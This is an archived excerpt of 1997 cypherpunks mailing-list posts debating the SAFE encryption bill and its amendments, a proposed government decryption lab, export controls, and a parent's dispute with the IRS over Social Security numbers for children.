> But it doesn't have to decrypt it. It has to tell the cops:
> "OK, you need to send a guy in there when he's not home and look for 
> a file called 'mykey.gkr' on his computer...it will probably be in 
> c:\pgp. Then you need to plant a video camera to watch him type his 
> passphrase. Then we can read his mail, no sweat."
> 
> I don't know why I keep making this point, but the weak point in 
> crypto is NOT the length of the key, it's the human factor. Go after 
> the HUMAN USING THE CRYPTO via traditional spy/police methods, and 
> smeg the key length.
> 
> But to do that, you see, you'll need warrents, reasons for 
> suspiscion, and, becuase of the effort involved, you'll only do it 
> for serious crimes with a strong liklihood of conviction. *That* is 
> the 'stauts quo' law enforcement *claims* to want.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Fri, 26 Sep 1997 02:44:35 +0800
To: "Brock N. Meeks" <brock@well.com>
Subject: Re: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <v03007801b05053415c14@[204.254.21.85]>
Message-ID: <3.0.3.32.19970925112401.042b85bc@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:06 AM 9/25/97 -0700, Brock N. Meeks wrote:

>Yeah, well, except that there isn't a year left for this Congress.  If it 
>doesn't get done before the next recess (in which we don't see Congress 
>again until it becomes teh 106th, next year) the slate is wiped clean and 
>we start from ground zero.

A strangly appropreate choice of words. ]:>

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Fri, 26 Sep 1997 02:47:42 +0800
To: "Brock N. Meeks" <declan@well.com>
Subject: Re: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <v03007801b05053415c14@[204.254.21.85]>
Message-ID: <3.0.3.32.19970925112535.0315a634@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 11:06 AM 9/25/97 -0700, Brock N. Meeks wrote:

>Yeah, well, except that there isn't a year left for this Congress.  
If it 
>doesn't get done before the next recess (in which we don't see 
Congress 
>again until it becomes teh 106th, next year) the slate is wiped 
clean and 
>we start from ground zero.
>
Forgive my seeming political ignorance, but since 90% of those there 
now will be there then, does having a 'new' Congress really mean 
anything?
-----BEGIN PGP SIGNATURE-----
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=GQ4i
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 00:25:12 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Oxley Amendment
In-Reply-To: <01BCC93A.D0869BA0@dasc12-105.flash.net>
Message-ID: <v03007803b0503363e7a0@[204.254.21.85]>
MIME-Version: 1.0
Content-Type: text/plain



Lucky has it right. SAFE is extremely unlikely to go to the floor without
additional "compromise."

Then there's the "compromise" with whatever bill the Senate coughs up.
Remember that pro-crypto legislation is dead there; only McCain-Kerrey got
out of committee. Also remember the Senate is more conservative...

Then there's the reality that no pro-crypto legislation would get past a
presidential veto...

-Declan


At 07:16 -0700 9/25/97, Lucky Green wrote:
>On Wed, 24 Sep 1997, Michael Brock wrote:
>
>>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> I wonder if Mr. Solomon of NY will rethink his decision to not bring
>> up SAFE without Oxley to the entire House after the unprecedented
>> coaltion of companies and individual groups that came together to
>> make sure that mandatory key recovery stays a "1984" like dream.   I
>> find it incomprehensible that one man, would block the introduction
>> of this bill, after it being proved that this is what his
>> constituents want....
>
>What in the world makes you believe that Mr. Solomon's constituents would
>want SAFE to go the the floor? SAFE *must* be defeated, with or without
>the Oxley ammendment.
>
>-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
>   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 26 Sep 1997 03:04:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Oxley Amendment
In-Reply-To: <Pine.BSF.3.96.970925071158.21770B-100000@pakastelohi.cypherpunks.to>
Message-ID: <3.0.3.32.19970925114453.006feb60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:29 AM 09/25/1997 -0400, Declan McCullagh <declan@well.com> wrote:
>Lucky has it right. SAFE is extremely unlikely to go to the floor without
>additional "compromise."

I thought the compromise wording was fairly well-defined
	Congress shall make Only A Few laws abridging freedom of speech,
	or of the press, or....


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 03:36:58 +0800
To: cypherpunks@toad.com
Subject: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <Pine.GSO.3.95.970925115935.1676I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 23 Sep 1997 08:12:58 +0000
From: "David C. Treibs" <sirdavid@ktc.com>
To: "(David C. Treibs)" < (SirDavid@ktc.com)>
Subject: Need Help with IRS Problems

                                        David C. Treibs
                                        Fredericksburg, TX 78624
                                        sirdavid@ktc.com

Hi.

We are in trouble with the IRS, and we need help.

For religious reasons (explained below), we do not have Social Security
numbers for our children, the oldest of 4 being 5 years old.

Last year we sent in our return, as we have always done, without SSNs
for our children. My wife and I do have social security numbers, and we
sent those. IRS sent us a letter saying they were disallowing our
exemptions since we had no SSNs for them. They gave us the opportunity
to contest their disallowance, which we did by sending them our
children's birth certificates; and letters from our parents, and a letter
from our pediatrician, stating the children we claimed were indeed our
children and our dependents. We don't have a problem proving that we are
claiming legitimate dependents.

IRS accepted the information we sent them, and accepted our exemptions.

This year we again sent IRS our return without numbers for our children,
but this time we included the letter of acceptance for last year's
return, and again they said they are disallowing our exemptions, and
they want $1,175.79. I called the telephone number on the letter and
spoke with the lady who answered, explaining what we did last year and
how the IRS accepted our tax return. The lady said "now we have new
rules." She asked, "What religion are you," as if it mattered. When I
told her we were Christians, she paused as though to consult some
paperwork, and then she said, "those children need social security
numbers or you cannot claim them." She mentioned the Tax Reform Act of
1996 and Publication 553 as being the enabling documents that brought on
this change.

That same day I called U.S. Rep. Lamar Smith's office and explained the
situation. The nice lady in the San Antonio office said she would pass
the information to the Kerrville office, and they would do what they
could. The lady in the Kerrville office made several inquiries. She
repeatedly said we had the right to appeal, and she sent us a copy of:

--Internal Revenue Code: Income, Estate, Gift, Employment and Excise
Taxes ss 1001-End As of Sept 15, 1996, Volume 2. Subtitle F, Ch. 61B,
Sec 6109(a)-6109(h).

    Sec. 6109(e)--Repealed
    Is the rather odd heading for the only part I could find in the
    portion of the Code they sent me that says you must have a SSN or
    you will not be allowed an exemption. I wonder if that means the
    section is repealed? But then, the probably have it in some other
    section that the SSN is required. See IRC Sec. 151 (97) below.

--What appears to be a news release titled:
Valid Taxpayer Identification Numbers Needed For Returns
1996 IRB LEXIS 344; IR-96-50

--Internal Revenue Code...This section is current through 105-15,
approved 5/15/97.
Subtitle A. Income Taxes
Chapter 1. Normal Taxes and Surtaxes
Subchapter B. Computation of Taxable Income
Part V. Deductions for Personal Exemptions

    IRC Sec. 151 (1997)

    (e) says no exemption will be allowed unless the Taxpayer
    Identification Number is included on the return.

At present we are awaiting a letter from IRS, which we assume will state
that we must either provide SSNs for our children or pay up, and they
will probably give us 60 days or less to do either.

Having received the above distressing information, we called a San
Antonio, Texas, CPA, Ken Flint, a former IRS agent who now specializes
in helping people in trouble with the IRS. He said it would cost us more
to fight them than to simply pay the extra money. He sounded
sympathetic, if somewhat busy, and told us we could do the appeal if we
knew the law and IRS procedures. Unfortunately, I know neither.

Perhaps at this stage you could help us. I need to hear from someone who
has successfully appealed this sort of thing and won.

What are the applicable laws?
What is the case law in this matter?
What are the IRS procedures in these matters?

Are there any laws that might give us an out, such as the Religious
Rights Restoration Act, and other such high sounding laws?

Is there an attorney out there who wants to make a precedent out of this
for us and all the other like-minded folks?

If you have no direct knowledge of IRS laws and procedures, perhaps you
could pass this to a forum or organization or individual who could.

While we are aware of the various movements such as the sovereign
citizen, the patriots, tax protesters, and so on, we prefer to work
within the system to win our case. This is simply our preference.

We don't have a problem with proving that we are not making bogus claims
on our tax returns. We'd be happy to give them whatever reasonable proof
they want. We do have a big problem with giving our children a
government number.

The Bible gives the responsibility of raising children to parents, not
to the government or any other entity.

Forcing Social Security Numbers on children represents a major violation
of parents' God-given responsibility.

The SSN's powers can be divided into two basic categories: monitoring
and control; neither of which is within government's purview in dealing
with children. These are entirely the parents' job, Hillary Clinton's
postulations that "It Takes a Village" notwithstanding.

Once a child has a SSN, they are forever a blip on the government radar,
to be tracked, and to be the recipient of whatever government decides it
must foist upon children and their families.

SSN's are already used in our public school district to track students.
Much of their test scores and who knows what personal data is in the
district's computers, including a SSN. The district told us it probably
won't be long before all this data is sent to the state, and how long
will it be before this information ends up with the federal government?

The Clintons are working to push us into nationalized health care,
including government health care for children. Did you ever wonder how
they plan to track all these children, to ensure they are receiving all
the "benefits" of their plans? Very likely, the SSN. The "benefits"
might include "inoculations" against pregnancy, which amounts to
powerful birth control/abortifacient drugs, parental consent not needed
or desired. Then, of course, there is the "education,"
accompanying this government intrusion into child health, which is
irreconcilably opposed to my beliefs.

The Clintons are also working to push us into the UN Rights of the Child
Treaty, which shifts many parental rights and responsibilities to the
government. The Clintons want to bypass parents and directly access
children. How do you think they plan to monitor and enforce compliance
with this horrible treaty? The SSN, in my opinion.

Once every child has a SSN, it will also be easier for the state to
nose in on the parent's job. With the recent birth of our fourth child,
we were told that a state social worker from the welfare department
would be visiting our home, and the home of everyone who has a child. If
our child had a SSN, they could easily computerize all her data and then
link it to any other data from us, our other children, and so on. It
could be done without SSNs, but it would be more difficult and time
consuming, and on a large scale, next to impossible.

The state of Texas provides a good example of what a state will do when
given access to the power of the SSN. Starting this year Texas requires
SSNs to issue a driver's license. Now that they have linked the
driver's license with a SSN, they can easily access a person's records,
including court records, and anyone not paying child support may be
denied a driver's license. This is just one example of the power of the
SSN, and how government can use it to force its agenda on the populace.

Whatever government grants or allows, it can withhold or restrict based
on whatever is politically correct at the time, if they have the tools
to do so. When people who disagree with you hold power over you, and
when they want to extend that power to your children, you better be
ready for trouble.

The SSN enables anyone with access to the right data bases to know every
address you ever had; details about your job, income, and taxes; school
records; all financial transactions not made with greenbacks; probably
all your telephone and utility details, including all your phone calls;
doctor, hospital, and other medical details; all court and police
records; and on and on and endlessly on.

This is all your personal information, available to government at the
snap of a finger, and this information is power. Now imagine if every
child has a SSN, that power will extend down to the womb even more than
it does now.

We are not willing to give the government power over our children. Why
should we, when children are none of government's business until they
reach adulthood? Why tempt government with all that power, when they
have already proven they will abuse it?


                   For Liberty,
                   David C. Treibs (sirdavid@ktc.com)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 00:31:29 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto-victory in Commerce
Message-ID: <v03007805b0503bc6e129@[204.254.21.85]>
MIME-Version: 1.0
Content-Type: text/plain



Corrections:

>So I'm sitting here in the lobbyist warren of the Capitol
                                                     ^^^^
                                  should be Capital Grille

>to be conducted by the Attorney General, a NIST study on
>crypto, and liability limitations on firms providing key
                                            ^^^^^^^^
                                   should be NTIA study


-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 26 Sep 1997 00:38:16 +0800
To: cypherpunks@toad.com
Subject: Why the White amendment is a good idea (fwd)
Message-ID: <Pine.LNX.3.95.970925120717.17603A-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 24 Sep 1997 19:06:33 -0600
From: Aaron Weissman <aweissman@mocc.com>
To: "'fight-censorship@vorlon.mit.edu'" <fight-censorship@vorlon.mit.edu>
Subject: Why the White amendment is a good idea

-----BEGIN PGP SIGNED MESSAGE-----

Today, the House Commerce Committee made an 
important statement which will have lasting 
ramifications on the status of personal privacy 
in our nation for the foreseeable future.

I know what you all are thinking -- former White 
staffer, praising his old boss.  In the interests 
of total disclosure, I did work for Rep. White, 
and I still think he is an all-around great guy.  
However, solely on the merits of this amendment, 
I believe that it deserves the support of the 
Internet community (whatever *that* is).

The NETCenter is a great idea.  Very few of us 
would argue that our society has an interest 
defining rules and in prosecuting their 
transgression as crimes.  Once we have agreed on 
that point, the issue changes to a (still very 
important) discussion on methods.  By creating a 
decryption lab (and funding it with tremendous 
amounts of money), our society will fulfill the 
basic obligation to protect against the 
transgression of our rules.

However, despite the worst intentions of some, 
this laboratory cannot be an indiscriminate tool. 
 The United States Government may be a the 
ultimate example as an organization possessing 
"national means," however, it's resources are far 
from infinite.  In addition, such a lab would 
require our very best and brightest 
mathematicians. We may be able to afford one of 
these labs, but more would be a large stretch.

Once this NETCenter exists, the demands for it's 
services will soon outstrip it's resources.  In 
addition, the massive cost involved per use would 
be large enough to attract public scrutiny.  I 
have no doubt that our government could crack the 
very largest keys if it were to through billions 
of dollars at the problem.  However, in an age of 
shrinking budgets and a commitment to a balanced 
budget, that much money is not spent without 
considerable oversight.

I have no doubt that a considerable portion of 
the NETCenter's time will be spent in matters of 
foreign intelligence.  (As I said, we cannot 
afford two massive decryption laboratories -- the 
NSA will have to give its decryption mandate to 
this new agency).  In sum, this amendment gives 
us a powerful decryption laboratory with a great 
deal of sunshine on its use and limited resources 
on behalf of law enforcement.

These factors make the NETCenter a great tool for 
targeted decryption, but they also guarantee that 
appropriate judicial supervision is acquired 
before the NETCenter can be used.  In other 
words, this is a great tool for prosecutors to 
use *after* they have established probable cause 
in their most heinous cases, and a strong 
guarantee that the eyes of the government will 
not intrude into our persons, papers and effects.

The passage of this amendment helps ensure that 
the terms of this debate remain centered on our 
civil liberties -- not kiddie porn.  If we are 
going to win this argument (and the stakes are 
very large) we have to keep this debate framed 
with our criteria.

Many may disagree with me on these points, and I 
we
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
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Il3s779jI/8fGAUuOaP2B81mowOSO9NsLa462VjyaFkB7kY9gEin3LCT6Gf/cyvk
Agp98YVAY4M=
=ueWO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Fri, 26 Sep 1997 00:25:28 +0800
To: Syniker@aol.com
Subject: Re: Oxley Amendment
In-Reply-To: <970925083307_1823151540@emout19.mail.aol.com>
Message-ID: <199709251608.MAA31570@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain





Before you go an collect all that info. you might want to surf on over to:

		http://www.zeitgeist.com/crypto

and pick up a copy of PersPAK  which has ALL the information you are looking 
for (and more)....

_DHMS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 26 Sep 1997 03:32:20 +0800
To: aweissman@mocc.com
Subject: Re: Why the WHite amendment is a good idea (fwd)
Message-ID: <199709251918.MAA25597@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Oops ... this may appear twice due to a mail hiccup.

 To: aweissman@mocc.com
 Subject: Re: Why the White amendment is a good idea (fwd)
 Cc: cypherpunks@algrebra.com
 
 > From: Aaron Weissman <aweissman@mocc.com>
 >
 > The NETCenter is a great idea.  Very few of us would argue that our
 > society has an interest defining rules and in prosecuting their
 > transgression as crimes.  Once we have agreed on that point, the
 > issue changes to a (still very important) discussion on methods.
 
 I believe MOST people would agree with this statement.
 
 I must point out, however, that your next statement does not logically
 follow because the primary complaint of the NSA/FBI is that unless the
 work factor is artificially reduced (via some method) to some
 negligible point, their jobs in the future will become much harder
 (that is, if all they do is stick with the same ol' operational
 methods) per intercept.  In fact, they are claiming that "much harder"
 could mean "practically impossible".
 
 > creating a decryption lab (and funding it with tremendous amounts of
 > money), our society will fulfill the basic obligation to protect
 > against the transgression of our rules.
 
 I am ignoring the comments on protecting the US citizens against abuse
 of this lab.  I seriously doubt they could abuse significant numbers
 of individuals given free market development of encryption.  If there
 was only one standard (say, DES), then there would only be one target.
 If there were 100 standards and 1000 data formats each, you can pretty
 much kiss this lab good bye.  It is much more likely that this lab
 will engage in breaking incompetent criminal-use cryptography.  It is
 unlikely that this lab can engage in the sort of mass data sweeps that
 NSA has been priviledged enough to do in the past.
 
 This sudden drop in capabilities and sudden jump in cost per intercept
 will enforce the status quo which the FBI has had to deal with to
 today.  The cost per intercept has been estimated at $50K per domestic
 target.  This is expensive enough that it does not make sense to tap
 anyone except where the cost can really be justified.
 
 > I have no doubt that a considerable portion of the NETCenter's time
 > will be spent in matters of foreign intelligence.  (As I said, we
 > cannot afford two massive decryption laboratories -- the NSA will
 > have to give its decryption mandate to this new agency).
 
 I completely disagree here.  You might be right, but I give you 1
 million to 1 odds.  The NSA is absolutely NOT about to give up its
 role as the numero uno decryption lab without sacrificing many
 politicians (possibly with their lives, too, as its accountability to
 the public is near non-existent).
 
 The NSA is politically impossible to take on for very obvious reasons.
 
 > In other words, this is a great tool for prosecutors to use *after*
 > they have established probable cause in their most heinous cases,
 > and a strong guarantee that the eyes of the government will not
 > intrude into our persons, papers and effects.
 
 The astronomical cost per decryption and the lack of a guarantee that
 it might necessarily produce useful evidence will guarantee that this
 tool is not abused.  I agree with this kind of conclusion.
 
 That is, I believe that, if any side of this debate is to be
 guaranteed anything, it should be that abuse is guaranteed to be low,
 rather than LE access is guaranteed to be easy.
 
 > The passage of this amendment helps ensure that the terms of this
 > debate remain centered on our civil liberties -- not kiddie porn.
 
 I assure you that this debate will always be shifted toward the
 "suitcase nuke", kiddie porn, child molestor and drug dealers by the
 FBI and the NSA in secret briefings.  There is not a chance in hell
 they will give up the best PR tool they have to scare the legislators,
 judges and the president without anyone present to counter their
 arguments.
 
 Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Fri, 26 Sep 1997 03:55:29 +0800
To: Jeff Barber <aweissman@mocc.com
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <Pine.LNX.3.95.970925120717.17603A-100000@vorlon.mit.edu>
Message-ID: <3.0.3.32.19970925123121.03161ac8@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 03:36 PM 9/25/97 -0400, Jeff Barber wrote:
>We shouldn't have to "trick" Congress into doing the right thing, 

I can't think of any other way. Each congressman has one 
concern:Getting re-elected. Thus, they frame each decision in terms 
of:"How will this sound in a 30 second TV commercial aimed at the 
clueless clods who live in my district/state?" and "Could this be 
exploited by my opponent in a similair commercial?" In order to 
convince a congresscritter to do what you want, you have to put it 
into those terms.

Forget the rule of law, the Constitution, ideals, principles, values -
- - those things are *meaningless* when discussing the making of law in 
this -- or any other --  nation.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCq8CTKf8mIpTvjWEQKG3ACfVFWLfmeno5HHbrCQdstdn/QSDQQAoIf6
Fh3fqK8ST29ucr2NXsTgi1ec
=OZdo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 26 Sep 1997 04:04:58 +0800
To: cypherpunks@cyberpass.net
Subject: Exports and criminalizing crypto
Message-ID: <19970925193213.21630.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



off.

Without the export restrictions we would see much more crypto sold
and used inside the US.  I'll bet there are lots of cypherpunks who
are holding off releasing crypto tools because of these laws.  Look
at the guy who said he had to go to Canada to release his crypto.
And he had to stop thinking about it when he was in the US.  This
is crazy.

Yes, it is stupid to have a law that using crypto makes a crime worse.
But this is not that bad compared to some laws.  It won't affect most
people.  With the export restrictions gone, the green light will be
given to make crypto available everywhere.  Every data transmission
will be encrypted, and people will be protected.

It might even be that the criminal part will be shut down by the
courts.  Once crypto is everywhere, it will be impossible to do
anything without using crypto.  The law would then be like a law
which said that breathing air while committing a crime will be
illegal.  I'm sure the lawyers could come up with a reason why this
kind of a law will be unconstitutional.

At this point the SAFE law looks like a good one.  Everyone said that
there was no way to stop the FBI from putting in the restrictions,
but they were stopped.  Now everyone says there is no way to get a
good bill out of the Senate, or past the president.  People are
missing one point.  We are right.  Stopping people from using crypto
is completely the opposite of the basic principles of this country.

Look at all the groups which came out against the amendment to SAFE.
The ACLU, the religious right, the NRA (how often do you see them
working together?).  Business executives, law professors, technical
experts.  If this coalition can hang together and support the bill
in its current form, the SAFE law still has a chance at success.
Probably not this year because there is not time, but next year they
should try again.  Getting rid of these export restrictions would
produce an explosion of Cypherpunk style crypto software.  It is a
big win.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 02:25:21 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: How the FBI/NSA forces can further twist SAFE
In-Reply-To: <v03007800b04fa86af0f9@[163.176.132.90]>
Message-ID: <v03007801b05053415c14@[204.254.21.85]>
MIME-Version: 1.0
Content-Type: text/plain



I'm sure others can expand on this, but to me the big four inflection
points seem to be:

1. In the version of the SAFE bill the House Rules committee chooses. There
are now four substantially different versions. We have: the "original" SAFE
(with criminal penalties for crypto-in-a-crime); SAFE with domestic
crypto-controls; SAFE with its export relaxation section gutted;
yesterday's SAFE with more studies and doubled criminal penalties. This is
likely to be done in closed-room negotiations with the heads of Judiciary,
Intelligence, etc. I'm told that the first meetings are already being
scheduled. The House leadership will play a big role in anything the Rules
committee does.

2. In the way the House Rules committee reports the bill. Which amendments
will be allowed during floor debate, and in what order?

3. There are countless points during the Senate proceedings where FBI/NSA
can work on the legislation. McCain-Kerrey will probably go to the Senate
Intelligence committee, for instance. It's sure to go through Judiciary,
where Kyl and Feinstein are waiting eagerly. Sen. "Digital Telephony"
Leahy, whose original crypto-bill last year was a key escrow fetishist's
wet dream, is sure to get involved.

4. Conference committee between the Senate and House versions.

Underlying all this is the threat of a presidential veto. What pro-crypto
legislation can survive it? That will give the FBI/NSA more leverage when
pushing for their kind of "compromise." Especially because of the slothful
speed of the Senate, the process will take close to a year, probably.

-Declan


At 08:45 -0700 9/25/97, Lucky Green wrote:
>On Wed, 24 Sep 1997, Lee Tien wrote:
>>
>> I'd love to see a simple map/diagram of all the inflection points where the
>> FBI/NSA forces can further twist SAFE.  Call it morbid curiosity.  Last
>> year's model was bad, and it's only gotten worse.
>
>Such a diagram would be interesing to have. Not everybody watched "How a
>bill becomes law". :-) And there is sigificant interest in this issue from
>our international readers that are not as familiar with the political
>process in the US as perhaps some of us US citizens are.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 26 Sep 1997 05:44:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exports and criminalizing crypto
In-Reply-To: <19970925193213.21630.qmail@hotmail.com>
Message-ID: <v03102800b05081976c9d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:32 PM -0700 9/25/97, J. Random Hotmail User wrote:

>Without the export restrictions we would see much more crypto sold
>and used inside the US.  I'll bet there are lots of cypherpunks who
>are holding off releasing crypto tools because of these laws.  Look
>at the guy who said he had to go to Canada to release his crypto.
>And he had to stop thinking about it when he was in the US.  This
>is crazy.

Yes, it's crazy, but SAFE doesn't fix this in any meaningful way.

We can ask Ian Goldberg, the guy you refer to, if the enactment of SAFE
would cause him to develop software in the U.S. Remember, SAFE does not
give carte blanche to crypto exports. Rather, it speaks of whether or not
similar products already can be found elsewhere (thus indicating export
review will happen, with all that that implies) and it further gives
authority to deny exports if "substantial evidence" exists that the product
is or could be used by the Bad Guys for Evil Puposes. (Cf. the full text of
H.R. 695 at http://www.cdt.org/crypto/legis_105/SAFE/hr695_text.html, and
remember that amendments are being added to it.)

This latter authority to block exports suggests NSA/State vetting of all
exports. Meaning, things really haven't changed.

All it would take is a letter stating that there is "substantial evidence"
that Ian's product may be "diverted" for use by those the U.S. doesn't
like.

Well, duh, we're where we are today on exports.

So, will Ian, or C2Net, or others, launch software development here and
just sort of hope that when the time comes to apply for an export license
that the conditions above are met? First, that the BXA/NSA/etc. rules that
similar products are already available. Second, that the product will not
be used by Hamas, a group the U.S. calls a terrorist group, or the Cali
Cartel, or the Irish Republican Army, or the armies of Iraq? Think about
it, given that Hamas is already using PGP 5.0 to fight the Zionist
occupiers in Palestine.

Would PGP 5.0 receive an export license? Even under SAFE?

Would a product designed to implement Chaumian untraceable cash, a la some
of the work on Lucre and the like, receive export approval? Even under SAFE?


>Yes, it is stupid to have a law that using crypto makes a crime worse.
>But this is not that bad compared to some laws.  It won't affect most
>people.  With the export restrictions gone, the green light will be
>given to make crypto available everywhere.  Every data transmission
>will be encrypted, and people will be protected.

J. Random Hotmail User, you'd better learn to read the text of the bills
you so blithely think are OK.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Fri, 26 Sep 1997 05:43:03 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <Pine.GSO.3.95.970925115935.1676I-100000@well.com>
Message-ID: <27735.875222424@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



We also did not provide our children's SSNs for the last few years.  We
obtained and supplied them rather than fight the IRS.  In the Social
Security Number FAQ <http://www.cpsr.org/cpsr/privacy/ssn/ssn.faq.html>
is this section:

Registering your Children

The Family Support Act of 1988 (Pub. L. 100-485) requires states to require
parents to give their Social Security Numbers in order to get a birth
certificate issued for a newborn. The law allows the requirement to be
waived for "good cause", but there's no indication of what may qualify.

Section 1615 of the Small Business Job Protection Act of 1996 strengthened
the requirement for taxpayers to report SSNs for dependents over one year
of age when they are claimed as a deduction. ( H.R.3448
<http://thomas.loc.gov/cgi-bin/bdquery/z?d104:h.r.03448:>, became PL104-188
8/20/96.) The new law allows the IRS to treat listing a dependent without
including an SSN as if it were an arithmetic error. This apparently means
that the taxpayer isn't allowed to petition the tax court.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 26 Sep 1997 03:09:11 +0800
To: Declan McCullagh <aweissman@mocc.com>
Subject: Re: Why the White amendment is a good idea (fwd)
In-Reply-To: <Pine.LNX.3.95.970925120717.17603A-100000@vorlon.mit.edu>
Message-ID: <v03110773b0505a4fc2ac@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:07 pm -0400 on 9/25/97, Aaron Weissman <aweissman@mocc.com> wrote:


> The NETCenter

What an oxy-maroon. What a self-referent -- not to mention
self-congratulary -- canard.

C'mon, folks.

Any entity which has the unmitigated presumption to have "center" and "net"
in its name demonstrates nothing less than total ignorance of
microcomputers and Moore's law, much less the internet it hopes to be the
"center" of -- no matter how small a piece of the net it hopes to be the
"center" of...

Sheesh. GAK, indeed...

Reality is not optional. Trying to find the "center" of any piece of the
net is equivalent to the cosmological "problem" of finding the "center" of
the universe.

It represents the utter fallacy of hierarchy in a geodesic age.

Cheers,
Bob Hettinga

Hettinga's Corolary to Gilmore's Law: The net will see "centers" as damage,
and route around them.


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aaron Weissman <aweissman@mocc.com>
Date: Fri, 26 Sep 1997 06:34:07 +0800
To: "'Tim May'" <fight-censorship@vorlon.mit.edu>
Subject: RE: Why the White amendment is a good idea (fwd)
Message-ID: <01BCC9C9.86D2C260.aweissman@mocc.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thursday, September 25, 1997 11:34 AM, Tim May [SMTP:tcmay@got.net] 
wrote:
> The NETCenter is largely duplicative, though will be much less effective,
> than the NSA. I strongly urge Aaron and others to review the history and
> capabilities (and limitations) of the NSA.

Sure, it is duplicative.  However, for this thing to become law, I envision 
a rather dramatic shift in the organization of our intelligence 
institutions.  Or at least a change in some of the building names at Ft. 
Meade :)

> (The NSA sometimes assists with law enforcement. But often it does not. I
> grant that a purely civilian codebreaking facility might once have been
> needed. But for reasons I'll get to below, it's much too late to start 
now!
> And much too expensive.)

